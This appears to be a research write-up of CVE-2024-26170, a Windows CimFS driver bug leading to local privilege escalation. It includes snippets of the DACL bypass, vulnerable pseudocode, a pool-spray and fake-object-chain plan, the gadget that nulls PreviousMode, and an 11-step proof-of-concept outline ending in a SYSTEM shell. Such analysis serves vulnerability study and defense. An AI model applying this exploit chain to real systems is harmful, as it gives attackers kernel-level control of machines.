CVE-2024-26170 — CimFS OOB Read → Fake Object Chain → PreviousMode Null → LPE
Last updated: 2026-04-10
Severity: High
Component: cimfs.sys (Composite Image File System driver)
Bug Class: OOB read (unvalidated offset in GetDataSegment) → fake object chain → arbitrary call → PreviousMode null
Privilege Escalation: User → SYSTEM
Patch: March 2024 Patch Tuesday (access restriction only — no logic fix)
Discoverer: StarLabs (Ong How Chong) — demonstrated at Pwn2Own 2024
Related: Cimfs, Primitives, Heap Grooming
Tags:cimfs,oob-read,fake-object,previousmode,wnf,pool-spray,kernel-mode,lpe,dacl-bypass
Vulnerability Summary
CVE-2024-26170 is a two-stage vulnerability in cimfs.sys:
Stage 1 — DACL bypass: The CimFS control device (
\Device\cimfs\control) has a restrictive DACL (System/Administrators only), but was created without theFILE_DEVICE_SECURE_OPENflag. This allows unprivileged users to open child device paths that route to the same control device, bypassing the DACL entirely.Stage 2 — OOB read in
GetDataSegment: A flag byte at offset+0x77in the OpenFile structure (read from the attacker-controlled region file) disables bounds checking inCim::FileSystem::GetDataSegment(). The unvalidated offsetv16 = 0xB8 * (uint16)userControlis used to index intoRegionView, reading aPFILE_OBJECTpointer from kernel pool beyond the legitimate allocation — controlled by pool spray.
The OOB-read fake FILE_OBJECT pointer is passed to IoGetRelatedDeviceObject(), which dereferences attacker-controlled DEVICE_OBJECT and DRIVER_OBJECT chain, ultimately calling MajorFunction[IRP_MJ_READ] (index 3) — a gadget that nulls KTHREAD.PreviousMode, granting full kernel R/W.
Pwn2Own 2024 note: The vulnerability was unpatched at contest time because Microsoft’s patch added access restrictions rather than fixing the logic — making the patch invisible to patch diffing.
Stage 1: DACL Bypass via Missing FILE_DEVICE_SECURE_OPEN
The Problem
When a WDM driver creates a device object and does NOT set FILE_DEVICE_SECURE_OPEN:
IoCreateDevice(DriverObject, ..., DeviceType, FALSE /*no exclusive*/,
&DeviceObject);
// FILE_DEVICE_SECURE_OPEN (0x100) NOT set in Characteristics
Windows I/O manager behavior: the DACL on the device is only checked when opening the device directly by name. When a child path is opened (a path with extra components after the device name), the DACL check is skipped and the request is forwarded to the device anyway.
The Bypass
// Restricted: \Device\cimfs\control — DACL: SYSTEM/Administrators only
// This fails for non-admin:
CreateFileW(L"\\\\.\\CimfsControl", ...);
// This SUCCEEDS for any user (missing FILE_DEVICE_SECURE_OPEN):
CreateFileW(L"\\??\\CimfsControl\\something", ...);
// "something" is arbitrary — all requests route to the control device
Any logged-in user can now send IOCTLs to the CimFS driver.
CimFS Region File Format
CimFS .cim files consist of a region file containing:
- Data segments
- Stream segments
- Reparse data
- Hardlink data
- Security descriptors
- File hashes
The region file format is completely undocumented. A freshly created region file is 135,168 bytes. The driver parses this on mount via IOCTL 0x220004.
Stage 2: OOB Read in GetDataSegment
IOCTL Flow
User calls: IOCTL 0x220004 (mount volume) with malformed region file
Kernel: Cim::Volume::Mount() → parses region file → CreateOpenFile()
→ populates OpenFile structure
Later:
User reads: ADS (Alternate Data Stream) of hardlink inside mounted image
Kernel: Cim::FileSystem::GetDataSegment() called
→ GetStreamSegment()
→ checks flag at OpenFile[+0x77]
→ if bit 0 set: SKIP validation, return unvalidated offset
→ uses offset to read PFILE_OBJECT from RegionView
Vulnerable Code Path
// Simplified pseudocode of GetDataSegment / GetStreamSegment:
NTSTATUS GetStreamSegment(OpenFile *a2, ...) {
if ((*((_BYTE *)a2 + 0x77) & 1) != 0) {
// BUG: returns immediately, no bounds check on the offset
*out_offset = unvalidated_value_from_region_file;
return STATUS_SUCCESS;
}
// Normal path: validate via GetOffsetTruncate()
return GetOffsetTruncate(a2, out_offset);
}
NTSTATUS GetDataSegment(OpenFile *a2, ...) {
uint16_t userControl = *(uint16_t *)(region_data + some_offset);
uint64_t v16 = 0xB8ULL * (uint64_t)userControl; // unvalidated multiply
PVOID *ptr = (PVOID *)(RegionView + v16); // OOB access
FILE_OBJECT *fobj = *ptr; // reads attacker-controlled ptr
// fobj is now attacker-controlled from pool spray
}
Offset formula: v16 = 0xB8 * (uint16)userControl — with a crafted userControl, this reads 0xB8 * N bytes past the start of RegionView into adjacent pool allocations.
Exploitation
Step 1: Pool Spray Setup
Two spray objects:
| Object | Size | Purpose |
|---|---|---|
_WNF_STATE_DATA | 0x880 bytes | Primary spray — fills paged pool pages |
KeyedEvent | 0x680 bytes | Secondary spray — occupies adjacent slots |
Spray strategy:
- Allocate many
_WNF_STATE_DATA(0x880) objects → fills paged pool - Force two specific objects to be contiguous on the same page
- Free 1/4 of the spray objects → creates holes in the page
- The victim allocation (from IOCTL processing) lands in one of the holes
Step 2: Fake Object Chain in Spray
The spray objects contain a complete fake object hierarchy:
_WNF_STATE_DATA spray payload:
┌─────────────────────────────────────────────────────┐
│ Fake FILE_OBJECT │
│ DeviceObject → ptr to Fake DEVICE_OBJECT │
│ │
│ Fake DEVICE_OBJECT │
│ DriverObject → ptr to Fake DRIVER_OBJECT │
│ │
│ Fake DRIVER_OBJECT │
│ MajorFunction[3] (IRP_MJ_READ) → gadget address │
└─────────────────────────────────────────────────────┘
Step 3: OOB Read Dereferences Fake Chain
With the crafted region file:
- Mount via
IOCTL 0x220004→ OpenFile populated with flag byte+0x77 = 1 - Read ADS of hardlink → triggers
GetDataSegment()→ OOB read RegionView + (0xB8 * crafted_userControl)→ reads from spray region → gets fakePFILE_OBJECT
Step 4: Arbitrary Call via IoGetRelatedDeviceObject + IofCallDriver
// In the IOCTL handler, after GetDataSegment returns fake FILE_OBJECT:
PDEVICE_OBJECT dev = IoGetRelatedDeviceObject(fake_file_object);
// IoGetRelatedDeviceObject dereferences: fake_file_object->DeviceObject
// Returns: fake_DEVICE_OBJECT (attacker-controlled)
IofCallDriver(fake_device_object, irp);
// Executes: fake_device_object->DriverObject->MajorFunction[3](fake_device_object, irp)
// MajorFunction[3] = attacker-controlled function pointer = gadget
Step 5: Gadget → Null PreviousMode
Gadget: DirectComposition::CSharedResourceMarshaler::ReleaseAllReferences()
This function contains a write-null primitive at [RCX + 0x38] where RCX = the first argument (the fake DEVICE_OBJECT).
By positioning the fake DEVICE_OBJECT such that fake_device_object + 0x38 = current_KTHREAD + PreviousMode_offset:
fake_DEVICE_OBJECT_address = KTHREAD_address - 0x38 + PreviousMode_offset
gadget writes NULL to fake_DEVICE_OBJECT + 0x38 = KTHREAD.PreviousMode
KTHREAD.PreviousMode = 0 (KernelMode) → NtRead/WriteVirtualMemory now accept kernel addresses.
Step 6: Token Steal
With PreviousMode = 0:
- Walk
EPROCESS.ActiveProcessLinksto find SYSTEM (PID 4) EPROCESS - Read
SYSTEM_EPROCESS.Token - Write SYSTEM token to current process
EPROCESS.Token - SYSTEM privileges obtained
Fuzzer Design
The StarLabs team used a custom fuzzer targeting post-mount CimFS operations:
- Mount verification: Dry-run each mutation to confirm the image mounts successfully before triggering parsing code (avoids wasting iterations on rejected mounts)
- Coarse mutation: Modify bytes in the region file at specific structural offsets (not fully random)
- Coverage: Exercised all
FileInformationClassvalues 4–77 viaNtQueryInformationFile() - Extended attributes:
NtQueryEaFile()also exercised - BSOD trigger:
IOCTL 0x220014(secondary operation) targeted for crash reproduction
Patch Analysis
What Microsoft did: Added access restrictions to prevent unprivileged users from reaching the driver.
What Microsoft did NOT do: Fix the underlying OOB logic in GetDataSegment / GetStreamSegment.
Implications:
- Admin-to-Kernel escalation path still exists (requires admin, which bypasses the new restriction)
- The patch is a DACL/access fix only — patch diffing
cimfs.sysbinary shows no code changes - This explains why the bug was still unpatched at Pwn2Own 2024: researchers doing binary patch diffing saw no changes and correctly suspected the underlying logic was untouched
Key Primitives Used
| Primitive | Source |
|---|---|
| DACL bypass | Missing FILE_DEVICE_SECURE_OPEN on device creation |
| Controlled OOB read | 0xB8 * userControl unvalidated offset into RegionView |
| Arbitrary pool read | OOB reads PFILE_OBJECT from spray |
| Arbitrary function call | Fake vtable chain: FILE_OBJECT → DEVICE_OBJECT → DRIVER_OBJECT → MajorFunction[3] |
| Arbitrary null write | DirectComposition::CSharedResourceMarshaler::ReleaseAllReferences gadget |
| PreviousMode = 0 | Null write via gadget at KTHREAD.PreviousMode |
| Full kernel R/W | NtRead/WriteVirtualMemory with KernelMode PreviousMode |
| Token steal | EPROCESS traversal + Token field copy |
Proof-of-Concept Summary
1. CreateFileW("\\??\\CimfsControl\\anything") // DACL bypass
2. IOCTL 0x220004 with crafted region file // Mount; populates OpenFile[+0x77] = 1
3. Spray WNF_STATE_DATA (0x880) × N // Fill paged pool
4. Free 1/4 of spray // Create holes
5. Mount triggers OOB path; victim alloc in hole // Pool position secured
6. Read ADS of hardlink in mounted image // Triggers GetDataSegment OOB
7. OOB → fake FILE_OBJECT → IoGetRelatedDeviceObject → IofCallDriver
8. MajorFunction[3] = ReleaseAllReferences gadget runs
9. Gadget: *(KTHREAD.PreviousMode_addr) = 0
10. NtWriteVirtualMemory(SYSTEM_EPROCESS.Token_addr, &system_token, 8)
11. cmd.exe as SYSTEM
References
- StarLabs / Ong How Chong — “CimFS: Crashing In Memory, Finding SYSTEM (Kernel Edition)” — starlabs.sg/blog, 2025-03
- Microsoft MSRC — CVE-2024-26170 advisory — March 2024
